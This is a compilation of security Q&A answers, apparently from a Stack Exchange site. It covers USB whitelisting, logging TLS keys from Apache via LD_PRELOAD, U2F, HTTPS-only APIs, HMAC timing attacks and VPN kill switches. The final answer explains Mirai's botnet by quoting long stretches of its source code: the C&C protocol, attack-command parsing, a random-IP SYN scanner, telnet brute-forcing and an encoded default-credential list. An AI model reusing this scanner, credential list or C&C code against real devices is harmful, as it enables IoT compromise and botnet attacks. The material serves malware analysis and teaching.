Is it possible to USB whitelist in Linux?

USB devices are normally identified by vendor and device ID, and, in Linux, support for USB devices is handled with udev. You could write udev rules to reject all devices, save for a specific (white) list. See for instance this question.

However, this might not bring the security you wish. Indeed, all devices of a specific model from a given vendor will share the same ID. If you allow, through your whitelist, a device with ID 08e6:3438, then any device that claims to have that ID will be allowed as well. An hostile device can perfectly announce whatever ID it wishes to show. To have a real whitelist, you would need each single device to contain a specific identifier that the attacker cannot guess (i.e, a key). There is nothing of that kind in existing USB protocol and devices.

Such a white list would be, in any case, redundant with physical control. As the tangible human user in front of the machine, it is up to you to decide whether you will or will not insert a specific device in the USB port. If you want to insert a given device that you have in hand, then you can alter the rules to allow it; and if you refrain from inserting the device, then you don't need the whitelist either. USB device filtering would be most useful in situations where untrusted users can access the physical ports. This is, arguably, a pretty bad situation to begin with, since this means that untrusted users have some level of physical access to the hardware. This might apply to self-service kiosks in photography shops -- but in such cases, the untrusted user is supposed to bring his own USB device, thus whitelisting ceases to make sense.


Extracting openssl pre-master secret from apache2

Apache om Debian 9 (Stretch) uses OpenSSL 1.0.2 (see apache2-bin dependency on libssl1.0), so you can use the approaches documented in that linked post. You can modify the startup script to export LD_PRELOAD=/path/to/libsslkeylog.so and SSLKEYLOGFILE=/tmp/your.keys.

How to do so is dependent on the application. For systemd you could try systemctl edit apache2 to create an override. If it is still a classic sysvinit init script like Apache, try modifying /etc/init.d/apache2 with the above two environment variables. Don't forget the export keyword. Apache no longer seems to use sysvinit scripts, so you must modify the systemd unit file.

This will result in the master secret being written to the file specified by the SSLKEYLOGFILE environment variable. It is not exactly the premaster secret, but you can use it to enable decryption in Wireshark. For more details about the latter, see also https://wiki.wireshark.org/TLS

Depending on your use case, it might be easier to skip modification of the server and tap keys on the client side instead. Firefox and Chromium have built-in support for the SSLKEYLOGFILE environment variable. Newer versions of curl do support that too, but older versions of curl or other applications using OpenSSL require something like the above sslkeylog.sh approach.

Walkthrough

The sslkeylog.so library is specific to the OpenSSL version. Version 1.0.2 (libssl1.0.2 in Debian Stretch) is not compatible with OpenSSL 1.1.0 (libssl1.1 in Debian Stretch). In order to build the library, you need corresponding development header files. These are available through the libssl1.0-dev or libssl-dev packages for respective versions.

Fetching the sources and building the library should be straightforward:

sudo apt install git make gcc libssl1.0-dev
git clone --depth=1 https://git.lekensteyn.nl/peter/wireshark-notes
cd wireshark-notes/src
make
# Optional: install to a specific location. Adjust paths below if you skip this.
sudo install libsslkeylog.so /usr/local/lib/

This produces a libsslkeylog.so file in your current directory. To test whether it works:

$ ./sslkeylog.sh curl https://example.com -sI
CLIENT_RANDOM ... ...    <-- expected for TLS 1.2
HTTP/2 200
...
$ ldd /usr/bin/curl | grep ssl
libssl.so.1.0.2 => /usr/lib/x86_64-linux-gnu/libssl.so.1.0.2 (0x00007fc5a088d000)

The last command shows which libssl version the program was linked against. We can do something similar for Apache. The primary program (apache2) loads TLS support through a different library though, so we have  to check that:

$ ldd /usr/lib/apache2/modules/mod_ssl.so | grep ssl
libssl.so.1.0.2 => /usr/lib/x86_64-linux-gnu/libssl.so.1.0.2 (0x00007f8dbb6ed000)

If this shows libssl.so.1.1 for whatever reason, then you would have to sudo apt install libssl-dev instead and rebuild with make -B.

The next step is to modify the systemd unit file for the apache2 service. Execute systemctl edit apache2, this opens an editor for /etc/systemd/system/apache2.service.d/override.conf where you should add:

[Service]
Environment=LD_PRELOAD=/usr/local/lib/libsslkeylog.so
Environment=SSLKEYLOGFILE=/tmp/your.keys

After restarting (sudo systemctl restart apache2) your keys will now be created somewhere in /tmp/systemd-private-*-apache2.service-*/tmp/your.keys. If you would like a shorter path, you could enter something like /home/user/your.keys, but make sure the file is writable by the www-data user.

Make sure to remove this once your testing has completed. I recommend temporarily modifying the client instead to perform this kind of testing. As shown above, sslkeylog.sh also works with clients.


Why is U2F not good enough to be used as authentication?

Here's the issue with U2F as being the only method of authentication: there is no verification that you are the rightful owner of the U2F device just because you have it in your possession. If U2F was the only form of authentication for everything, that would be like having one master key for your car, house, safe, safety deposit box, office door/building, and everything else. In our metaphorical situation, if someone stole that master key from you, they would have access to almost everything in your life.

Now, you may view my metaphorical "master key" scenario as being the same as a password, but this is the reason why people are encouraged to use several different passwords. Using different passwords is like having several different keys. Rather than having one key that unlocks everything, it's better to have different keys. If only one key is stolen from you, the thief only has access to whatever that stolen key works for. (e.g., if a thief steals your car key, he/she can only access your car.) This is still an unpleasant situation, but it's far better than that thief gaining access to everything you own. Likewise, people are encouraged to use different passwords so if a "thief" obtained one of your passwords, he/she would only have access to a limited number of your accounts.

Using only U2F is essentially comparable to using only one password for every website and using only one key for everything in your life. It's neither reasonable nor secure. As such, U2F should only be used as a second form of authentication in a two-step authentication structure.


I'm developing a REST API that may take in private information. To
  make it secure, I want to have the API only accessible using HTTPS.
  Basically, what is the best way to enforce HTTPS only?

If you're doing an API, the best way is to turn off HTTP and only publish an HTTPS interface.

Down-level HTTP is a crutch for puny humans.  If you're running a UI site, then you have to expect humans will try to go to the unencrypted HTTP version, because they're like that - that's why we have so many fancy ways of redirecting them.  With an API, you can demand people code to HTTPS, and simply not provide HTTP, because it isn't users with browsers specifying your address.
Puny humans at least have browsers working for them, which try to take into account all the neat things you've mentioned (status codes, headers).  When an API programmer slaps together an API client, they'll often ignore or be creative with things like that.  The 8 lines of RESTful Python they pulled off of StackExchange doesn't emphasize error handling or RFC-compliant header hewing.  You simply can't trust that they'll respond to HTTP protocol and header hints and redirections.
APIs are less likely to shove unencrypted input over your TCP if you're running HTTPS...  but it's not impossible.  (Their first packet after the 3WHS could be a data-laden JSON request instead of a TLS CLIENT_HELLO... but if they never get a response back (and they won't if they do that) they'll learn to stop sticking their finger that socket soon enough.)  The lesson here is, again, please don't trust API client programmers to do the right thing.  And never reward them ignoring encryption with a legitimate response, even a 403 Forbidden (as they might get if you support HTTP).

  Set the HTTP status code to 403 Forbidden
  Send the Strict-Transport-Security header
  Redirect to the HTTPS URL using the Location header

These are all excellent things if you have a HTTP site and want to push humans bearing browsers over.  But when dealing with an API, instead of a browser, it's a set of assumptions that are less likely to be true and less necessary in the first place.


In snort alert what does initial values "07/31-16:19:48.614462 [**] ...." mean?

Thats the time and date of the alert in the fastalert output format: MONTH/DAY-HOUR:MIN:SEC.MILIIS


Are servers that do not implement time services vulnerable to clock skew attacks?

Yes, because they are not referring to the "RTC clock" only when they refer to "clockskew".

The clocks they mention are the Crystals that "clock" the logic. so the CPU,clock. the Memory clock, the network clock, etc.

the RTC is the only clock that really gets influenced by an NTP service.


What are reasonable alternatives to "Trust this computer" prompts when signing in?

There are obviously alternatives to making the second factor of two-factor authentication be the user logging in from a trusted device. There are also certainly alternatives to authenticating that a certain device is in the control of that user before it's registered as a "trusted" login device for that user besides the security code method.  *The hard question is whether there are any of either methods that are clearly, unambiguously better in terms of usability, across your whole population of users. While also filling the heightened level of security needed for a banking site

To be honest, I kind of doubt it.

Let's illustrate by example:

Some alternative methods of 2FA to authenticating a user robustly on first login from a specific device/machine then considering it as "trusted" for logins thereafter:

One-time PIN authentication token:
Doesn't require the user to have a network-connected phone or PC to, say, get a security code. Does require the user to physically carry around the token wherever they might want to access their account. (Also requires bank to distribute them. Probably wouldn't make financial sense to do just for users only to get a code the first time per device they wanted to use, assuming you did want to keep the trusted-device scheme. But, OTOH, if you wanted to go for a more secure arrangement where users need a code at each login it might.)
USB 2FA device of some sort:
May not require user to fool around entering codes & such, but obviously requires users to physically carry around, just like a token. Plus, may only be able to use to log-in from machines/devices with a full USB port.
Making user get a security code via an SMS or authenticator phone app:
Doesn't depend on what device user logs-in from, but obviously is dependent on user having their phone with them. Essentially what you're doing now to authenticate before adding a new device as trusted, except that you would be making the user get a code from his/her phone for every login.
Making user get a security code sent via email:
Would allow user to log-in from any machine/device where he/she could access their email. Would also require each user to get a code for each login, plus go through hassle of logging-in to a separate account/service and then logging-in to yours.  (Not even mentioning security implications/drawbacks, of course.)
Checking whether the user is logged-in to another service that you trust the authentication security of:
Lots of services nowadays make use federated identity from a larger, 3rd party-service, of course.  So far,  they've typically been used as a sole authentication factor by services that don't require particularly strong security (like blog commenting) and don't want the hassle of setting up an authentication scheme themselves.  But there's no technical reason (that I know of) that you can't use it as a second factor. This might avoid user impatience with an extra-authentication factor when a user is logging-in from any device where he/she is typically logged-in to the other service.  But where they aren't, users might be as or more irritated by needing to log-in to another service as they would be using a security code.
Smartcard:
Deploy a USB portable smartcard reader and smartcard to each user. Would, of course, require user to have both whenever & whereever he/she wanted to login.

(-Doable-but-not-considered: Using facial recognition as a biometric second factor from any device with a commodity camera.  Flexible, but laughably insecure. Maybe if/when more devices will be packing RealSense or similar camera hardware... )

I'm sure you get my point.  If there were an obviously more usable, practical-to-deploy, and at-least-as-secure* method of doing the second factor of 2FA out there right now as the security code---> trusted device way it would probably be well-known and in very wide use.  Instead, that model has fallen into a role as a semi-defacto standard among the biggest services on the net that use 2FA.  I think that's largely because asking somebody to take a few moments to use a security code the first time they log-in from a device (and perhaps make a few especially sensitive actions within the service) is a pretty minor imposition.

The occasional grumpy user with zero care about the security of their banking service notwithstanding. :)

Oh, about the checkbox to giving the user the chance to decide whether a device should be deemed "trusted", while it is an extra thing that some users will puzzle over and the mental attention needed to choice that inspire a little bit of that feeling of friction, many users even today still log-in to their banking sites from devices they share or don't otherwise control. Even, yes, from publically-shared computers. [Sigh.]  That's something that at least deserves serious consideration when thinking about whether to have the checkbox and, if so, what the default state of it should be. (As many, if not most, users will just leave whatever the default check or non-check is alone.)

*Personally, I'm not a huge fan of the device-trust mechanism in something like a banking-site role.  There are some potential issues with it that make it an arguably less-secure mechanism than requiring an SMS or authenticator app code. But I understand that, in the real world, sometimes one has to trade a little security for a larger improvement to User Experience.


What RHSA, RHEA and RHBA stands for in the RedHat Erratas?

Red Hat categorise advisory notices as relating to Security, Enhancement, and Bug-Fix.


Timing attack against HMAC in authenticated encryption?

It allows for the potential of an existential forgery.  An attacker can create a valid HMAC for a chosen message without knowing the HMAC key.

Basically, the way the attack works is this:

The attacker sends a message, and an HMAC (really just a sequences of bytes the same length as the HMAC) and times the response from the decryption system.
The attacker then sends the same message, and the same pseudo-HMAC repeatedly, with the exception that he now iterates though every (256) possible value for the first byte of the HMAC.
If the decryption system is returning an error immediately on finding a mismatch between bytes, one of these iterations (the one with the same first byte value as calculated by the decryption system) should take slightly longer to return.  If the attacker can can detect that difference, he now knows the correct first byte for the correct HMAC for the message given the decryption system's HMAC key.
The attacker sends the same message and HMAC, this time with the known correct first byte, iterating over the second byte, until again, he finds the byte that causes the decryption system to take slightly longer to respond with an error.  The attacker now knows the second byte of the correct HMAC.
Rinse and repeat for every successive byte in the HMAC, until a valid HMAC has been derived for the attacker's chosen message, sans key.

This is why HMAC comparison needs to be constant-time, comparing all the bytes of the submitted HMAC to the calculated HMAC before returning a response.  This way, no matter the position of any incorrect bytes, the time to error will always be equal.  The attacker no longer has a way to tell what or where the incorrect bytes are.

Update

In the specific scenario you present, the HMAC is providing you with integrity protection, or is the "authentication" piece of "authenticated encryption."  If it can be forged by an attacker, the ciphertext can be modified without your knowledge, and you no longer have authenticated encryption, but effectively unauthenticated encryption and are vulnerable to chosen ciphertext attacks.


Why do VPN's need a "killswitch" in their clients? Why is it not simply implemented at the OS level?

A VPN is not something too special from the OS perspective. It is essentially just another (virtual) network interface. And routing specifies which traffic is forwarded through which interface, i.e. it can be most traffic through the VPN, it can be only selected traffic through the VPN ("split VPN") etc.

A "kill switch" is nothing special either. It is just a routing rule or local firewall rule to make sure that sensitive traffic (i.e. all non-local traffic for a typical use of a VPN) will never be send out to any network interface except the VPN interface. In other words, it is just setting up rules for a secure fallback in case the VPN dies. And while these rules are setup from user space, they actually end up to be implemented in the OS kernel.

Calling this kind of setup a "kill switch" is just marketing. There is no switch at all which gets actively triggered if the VPN dies. It is only that the previously setup secure fallback rules get implicitly used if the VPN dies.


How does Mirai's C&C communicate with its bots?

I guess i'll answer direct to your question since you mentioned you've understood that 'a bot finds a C&C server with a DNS query after being infected. (i'll get back to this statement at the bottom)

To answer your question, we have to delve deeper elsewhere as there are many parts to it in the source code.

  1. how does the C&C server communicate with its bots?

In the code you can see various areas of communication

// Set up CNC sockets
if (fd_serv == -1)
establish_connection();

and

static void establish_connection(void)
{
#ifdef DEBUG
    printf("[main] Attempting to connect to CNC\n");
#endif

C&C is initialized here in this part of the code.

table_unlock_val(TABLE_CNC_DOMAIN);
entries = resolv_lookup(table_retrieve_val(TABLE_CNC_DOMAIN, NULL));
table_lock_val(TABLE_CNC_DOMAIN);

After which When Mirai is able to reach C&C successfully. The connectivity to C&C will take place.

table_unlock_val(TABLE_CNC_PORT);
srv_addr.sin_port = *((port_t *)table_retrieve_val(TABLE_CNC_PORT, NULL));
table_lock_val(TABLE_CNC_PORT);

For Mirai to get connected to the C&C, all it has to do is sent 4 bytes to the C&C.

                LOCAL_ADDR = util_local_addr();
                send(fd_serv, "\x00\x00\x00\x01", 4, MSG_NOSIGNAL);
                send(fd_serv, &id_len, sizeof (id_len), MSG_NOSIGNAL);
                if (id_len > 0)
                {
                    send(fd_serv, id_buf, id_len, MSG_NOSIGNAL);
                }

Then it will try to maintain connection here

if l == 4 && buf[0] == 0x00 && buf[1] == 0x00 && buf[2] == 0x00 {

  2. For example if it wants them to attack.

For Machines infected by Mirai, they are set into infinite loop waiting for commands from the C&C Server.

When commands is received from C&C. These codes are the ones invoking the attack portion.

void attack_start(int, ATTACK_VECTOR, uint8_t, struct attack_target *, uint8_t, struct attack_option *);

Which in turn it will execute

void attack_parse(char *buf, int len)
{
    int i;
    uint32_t duration;
ATTACK_VECTOR vector;
uint8_t targs_len, opts_len;
struct attack_target *targs = NULL;
struct attack_option *opts = NULL;

// Read in attack duration uint32_t
if (len < sizeof (uint32_t))
    goto cleanup;
duration = ntohl(*((uint32_t *)buf));
buf += sizeof (uint32_t);
len -= sizeof (uint32_t);

// Read in attack ID uint8_t
if (len == 0)
    goto cleanup;
vector = (ATTACK_VECTOR)*buf++;
len -= sizeof (uint8_t);

// Read in target count uint8_t
if (len == 0)
    goto cleanup;
targs_len = (uint8_t)*buf++;
len -= sizeof (uint8_t);
if (targs_len == 0)
    goto cleanup;

// Read in all targs
if (len < ((sizeof (ipv4_t) + sizeof (uint8_t)) * targs_len))
    goto cleanup;
targs = calloc(targs_len, sizeof (struct attack_target));
for (i = 0; i < targs_len; i++)
{
    targs[i].addr = *((ipv4_t *)buf);
    buf += sizeof (ipv4_t);
    targs[i].netmask = (uint8_t)*buf++;
    len -= (sizeof (ipv4_t) + sizeof (uint8_t));

    targs[i].sock_addr.sin_family = AF_INET;
    targs[i].sock_addr.sin_addr.s_addr = targs[i].addr;
}

// Read in flag count uint8_t
if (len < sizeof (uint8_t))
    goto cleanup;
opts_len = (uint8_t)*buf++;
len -= sizeof (uint8_t);

// Read in all opts
if (opts_len > 0)
{
    opts = calloc(opts_len, sizeof (struct attack_option));
    for (i = 0; i < opts_len; i++)
    {
        uint8_t val_len;

        // Read in key uint8
        if (len < sizeof (uint8_t))
            goto cleanup;
        opts[i].key = (uint8_t)*buf++;
        len -= sizeof (uint8_t);

        // Read in data length uint8
        if (len < sizeof (uint8_t))
            goto cleanup;
        val_len = (uint8_t)*buf++;
        len -= sizeof (uint8_t);

        if (len < val_len)
            goto cleanup;
        opts[i].val = calloc(val_len + 1, sizeof (char));
        util_memcpy(opts[i].val, buf, val_len);
        buf += val_len;
        len -= val_len;
    }
}

errno = 0;
attack_start(duration, vector, targs_len, targs, opts_len, opts);

  3. Which protocols are used here?

The communication between the bots and the C&C are through “binary” protocols.
Binary attacks command are passed to the QueueBuf function below and will be placed in a buffer queue.

func (this *ClientList) QueueBuf(buf []byte, maxbots int, botCata string) {
attack := &AttackSend{buf, maxbots, botCata}
this.atkQueue <- attack
}

Thereafter atkQueue channel will receive the command that is set in the buffer if the bot unit.

func (this *ClientList) worker() {
rand.Seed(time.Now().UTC().UnixNano())

for {
    select {
    case add := <-this.addQueue:
        this.totalCount <- 1
        this.uid++
        add.uid = this.uid
        this.clients[add.uid] = add
        break
    case del := <-this.delQueue:
        this.totalCount <- -1
        delete(this.clients, del.uid)
        break
    case atk := <-this.atkQueue:
        if atk.count == -1 {
            for _,v := range this.clients {
                if atk.botCata == "" || atk.botCata == v.source {
                    v.QueueBuf(atk.buf)
                }
            }
        } else {
            var count int
            for _, v := range this.clients {
                if count > atk.count {
                    break
                }
                if atk.botCata == "" || atk.botCata == v.source {
                    v.QueueBuf(atk.buf)
                    count++
                }
            }
        }

  4. Is the communication encrypted?

Communications are not encrypted if you are thinking of SSL. If you are connected to the C&C and able see the traffic stream, the binary stream protocol together with the attack commands will be visible.

However the commands and hostname and ports are all encrypted as seen in the codes.

void table_init(void)
{
add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30); // cnc.changeme.com
add_entry(TABLE_CNC_PORT, "\x22\x35", 2);   // 23

add_entry(TABLE_SCAN_CB_DOMAIN, "\x50\x47\x52\x4D\x50\x56\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 29); // report.changeme.com
add_entry(TABLE_SCAN_CB_PORT, "\x99\xC7", 2);         // 48101

Lastly, elaborating on your statement
'that a bot finds a C&C server with a DNS query after being infected.'

The bot does look for a domain name. Reason being so is that if a C&C needs a change of IP; the bot looking for the new C&C will still be able to find it. Domain names can always be pointed to different ip addresses.

  5. So how does Mirai target IOT devices?

The original Mirai looks for devices with busybox installed. This answer is directed at the original Mirai. As you know Mirai source codes are now public and it is not surprising to see variants of Mirai in the wild performing different if not more sophisticated attacks.

SYN scanning on socket is done and traversing accross various target IP addresses. It's used because it's fast and the ability to probe multiple ports

    // Set up raw socket scanning and payload
    if ((rsck = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
    {
    #ifdef DEBUG
        printf("[scanner] Failed to initialize raw socket, cannot scan\n");
    #endif
        exit(0);
    }

Mirai will try to listen for responses from the targets after the SYN Scan

        if (fake_time != last_spew)
        {
            last_spew = fake_time;

            for (i = 0; i < SCANNER_RAW_PPS; i++)
            {
                struct sockaddr_in paddr = {0};
                struct iphdr *iph = (struct iphdr *)scanner_rawpkt;
                struct tcphdr *tcph = (struct tcphdr *)(iph + 1);

                iph->id = rand_next();
                iph->saddr = LOCAL_ADDR;
                iph->daddr = get_random_ip();
                iph->check = 0;
                iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));

                if (i % 10 == 0)
                {
                    tcph->dest = htons(2323);
                }
                else
                {
                    tcph->dest = htons(23);
                }
                tcph->seq = iph->daddr;
                tcph->check = 0;
                tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr)), sizeof (struct tcphdr));

                paddr.sin_family = AF_INET;
                paddr.sin_addr.s_addr = iph->daddr;
                paddr.sin_port = tcph->dest;

                sendto(rsck, scanner_rawpkt, sizeof (scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof (paddr));
            }
        }

Finding targets are random, it will then move on to the next ip address probing again.

    static ipv4_t get_random_ip(void)
    {
    uint32_t tmp;
    uint8_t o1, o2, o3, o4;
    do
    {
        tmp = rand_next();

        o1 = tmp & 0xff;
        o2 = (tmp >> 8) & 0xff;
        o3 = (tmp >> 16) & 0xff;
        o4 = (tmp >> 24) & 0xff;
    }
    while (o1 == 127 ||                             // 127.0.0.0/8      - Loopback
          (o1 == 0) ||                              // 0.0.0.0/8        - Invalid address space
          (o1 == 3) ||                              // 3.0.0.0/8        - General Electric Company
          (o1 == 15 || o1 == 16) ||                 // 15.0.0.0/7       - Hewlett-Packard Company
          (o1 == 56) ||                             // 56.0.0.0/8       - US Postal Service
          (o1 == 10) ||                             // 10.0.0.0/8       - Internal network
          (o1 == 192 && o2 == 168) ||               // 192.168.0.0/16   - Internal network
          (o1 == 172 && o2 >= 16 && o2 < 32) ||     // 172.16.0.0/14    - Internal network
          (o1 == 100 && o2 >= 64 && o2 < 127) ||    // 100.64.0.0/10    - IANA NAT reserved
          (o1 == 169 && o2 > 254) ||                // 169.254.0.0/16   - IANA NAT reserved
          (o1 == 198 && o2 >= 18 && o2 < 20) ||     // 198.18.0.0/15    - IANA Special use
          (o1 >= 224) ||                            // 224.*.*.*+       - Multicast
          (o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
    );

    return INET_ADDR(o1,o2,o3,o4);
    }

Mirai will then go to the next phase in a typical TCP handshake and send an ACK packet attempt to get a response from target and perform analysis if a port is open. Targeting TCP/23 and TCP/2323

    last_avail_conn = 0;
    while (TRUE)
    {
    int n;
    char dgram[1514];
    struct iphdr *iph = (struct iphdr *)dgram;
    struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
    struct scanner_connection *conn;

    errno = 0;
    n = recvfrom(rsck, dgram, sizeof (dgram), MSG_NOSIGNAL, NULL, NULL);
    if (n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK)
        break;

    if (n < sizeof(struct iphdr) + sizeof(struct tcphdr))
        continue;
    if (iph->daddr != LOCAL_ADDR)
        continue;
    if (iph->protocol != IPPROTO_TCP)
        continue;
    if (tcph->source != htons(23) && tcph->source != htons(2323))
        continue;
    if (tcph->dest != source_port)
        continue;
    if (!tcph->syn)
        continue;
    if (!tcph->ack)
        continue;
    if (tcph->rst)
        continue;
    if (tcph->fin)
        continue;
    if (htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr)
        continue;

    conn = NULL;
    for (n = last_avail_conn; n < SCANNER_MAX_CONNS; n++)
    {
        if (conn_table[n].state == SC_CLOSED)
        {
            conn = &conn_table[n];
            last_avail_conn = n;
            break;
        }
    }

Once the above are done. A TCP Session is then Established between Mirai and the target.

        FD_ZERO(&fdset_rd);
        FD_ZERO(&fdset_wr);
        for (i = 0; i < SCANNER_MAX_CONNS; i++)
        {
            int timeout;

            conn = &conn_table[i];
            timeout = (conn->state > SC_CONNECTING ? 30 : 5);

            if (conn->state != SC_CLOSED && (fake_time - conn->last_recv) > timeout)
            {
    #ifdef DEBUG
                printf("[scanner] FD%d timed out (state = %d)\n", conn->fd, conn->state);
    #endif
                close(conn->fd);
                conn->fd = -1;

                // Retry
                if (conn->state > SC_HANDLE_IACS) // If we were at least able to connect, try again
                {
                    if (++(conn->tries) == 10)
                    {
                        conn->tries = 0;
                        conn->state = SC_CLOSED;
                    }
                    else
                    {
                        setup_connection(conn);
    #ifdef DEBUG
                        printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd);
    #endif
                    }
                }
                else
                {
                    conn->tries = 0;
                    conn->state = SC_CLOSED;
                }
                continue;
            }

Mirai will then perform password enumeration here

            if (FD_ISSET(conn->fd, &fdset_rd))
            {
                while (TRUE)
                {
                    int ret;

                    if (conn->state == SC_CLOSED)
                        break;

                    if (conn->rdbuf_pos == SCANNER_RDBUF_SIZE)
                    {
                        memmove(conn->rdbuf, conn->rdbuf + SCANNER_HACK_DRAIN, SCANNER_RDBUF_SIZE - SCANNER_HACK_DRAIN);
                        conn->rdbuf_pos -= SCANNER_HACK_DRAIN;
                    }
                    errno = 0;
                    ret = recv_strip_null(conn->fd, conn->rdbuf + conn->rdbuf_pos, SCANNER_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL);
                    if (ret == 0)
                    {
    #ifdef DEBUG
                        printf("[scanner] FD%d connection gracefully closed\n", conn->fd);
    #endif
                        errno = ECONNRESET;
                        ret = -1; // Fall through to closing connection below
                    }
                    if (ret == -1)
                    {
                        if (errno != EAGAIN && errno != EWOULDBLOCK)
                        {
    #ifdef DEBUG
                            printf("[scanner] FD%d lost connection\n", conn->fd);
    #endif
                            close(conn->fd);
                            conn->fd = -1;

                            // Retry
                            if (++(conn->tries) >= 10)
                            {
                                conn->tries = 0;
                                conn->state = SC_CLOSED;
                            }
                            else
                            {
                                setup_connection(conn);
    #ifdef DEBUG
                                printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd);
    #endif
                            }
                        }

and attempt to login using common weak passwords and default passwords.

    add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10);                     // root     xc3511
    add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9);                          // root     vizxv
    add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8);                          // root     admin
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7);                      // admin    admin
    add_auth_entry("\x50\x4D\x4D\x56", "\x1A\x1A\x1A\x1A\x1A\x1A", 6);                      // root     888888
    add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x4F\x4A\x46\x4B\x52\x41", 5);                  // root     xmhdipc
    add_auth_entry("\x50\x4D\x4D\x56", "\x46\x47\x44\x43\x57\x4E\x56", 5);                  // root     default
     add_auth_entry("\x50\x4D\x4D\x56", "\x48\x57\x43\x4C\x56\x47\x41\x4A", 5);              // root     juantech
    add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17\x14", 5);                      // root     123456
    add_auth_entry("\x50\x4D\x4D\x56", "\x17\x16\x11\x10\x13", 5);                          // root     54321
    add_auth_entry("\x51\x57\x52\x52\x4D\x50\x56", "\x51\x57\x52\x52\x4D\x50\x56", 5);      // support  support
    add_auth_entry("\x50\x4D\x4D\x56", "", 4);                                              // root     (none)
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51\x55\x4D\x50\x46", 4);          // admin    password
    add_auth_entry("\x50\x4D\x4D\x56", "\x50\x4D\x4D\x56", 4);                              // root     root
    add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17", 4);                          // root     12345
    add_auth_entry("\x57\x51\x47\x50", "\x57\x51\x47\x50", 3);                              // user     user
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "", 3);                                          // admin    (none)
    add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51", 3);                              // root     pass
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C\x13\x10\x11\x16", 3);      // admin    admin1234
    add_auth_entry("\x50\x4D\x4D\x56", "\x13\x13\x13\x13", 3);                              // root     1111
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x51\x4F\x41\x43\x46\x4F\x4B\x4C", 3);          // admin    smcadmin
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13", 2);                          // admin    1111
    add_auth_entry("\x50\x4D\x4D\x56", "\x14\x14\x14\x14\x14\x14", 2);                      // root     666666
    add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51\x55\x4D\x50\x46", 2);              // root     password
    add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16", 2);                              // root     1234
    add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11", 1);                      // root     klv123
    add_auth_entry("\x63\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x4F\x47\x4B\x4C\x51\x4F", 1); // Administrator admin
    add_auth_entry("\x51\x47\x50\x54\x4B\x41\x47", "\x51\x47\x50\x54\x4B\x41\x47", 1);      // service  service
    add_auth_entry("\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", "\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", 1); // supervisor supervisor
    add_auth_entry("\x45\x57\x47\x51\x56", "\x45\x57\x47\x51\x56", 1);                      // guest    guest
    add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1);                      // guest    12345
    add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1);                      // guest    12345
    add_auth_entry("\x43\x46\x4F\x4B\x4C\x13", "\x52\x43\x51\x51\x55\x4D\x50\x46", 1);      // admin1   password
    add_auth_entry("\x43\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x13\x10\x11\x16", 1); // administrator 1234
    add_auth_entry("\x14\x14\x14\x14\x14\x14", "\x14\x14\x14\x14\x14\x14", 1);              // 666666   666666
    add_auth_entry("\x1A\x1A\x1A\x1A\x1A\x1A", "\x1A\x1A\x1A\x1A\x1A\x1A", 1);              // 888888   888888
    add_auth_entry("\x57\x40\x4C\x56", "\x57\x40\x4C\x56", 1);                              // ubnt     ubnt
    add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11\x16", 1);                  // root     klv1234
    add_auth_entry("\x50\x4D\x4D\x56", "\x78\x56\x47\x17\x10\x13", 1);                      // root     Zte521
    add_auth_entry("\x50\x4D\x4D\x56", "\x4A\x4B\x11\x17\x13\x1A", 1);                      // root     hi3518
    add_auth_entry("\x50\x4D\x4D\x56", "\x48\x54\x40\x58\x46", 1);                          // root     jvbzd
    add_auth_entry("\x50\x4D\x4D\x56", "\x43\x4C\x49\x4D", 4);                              // root     anko
    add_auth_entry("\x50\x4D\x4D\x56", "\x58\x4E\x5A\x5A\x0C", 1);                          // root     zlxx.
    add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x54\x4B\x58\x5A\x54", 1); // root     7ujMko0vizxv
    add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // root     7ujMko0admin
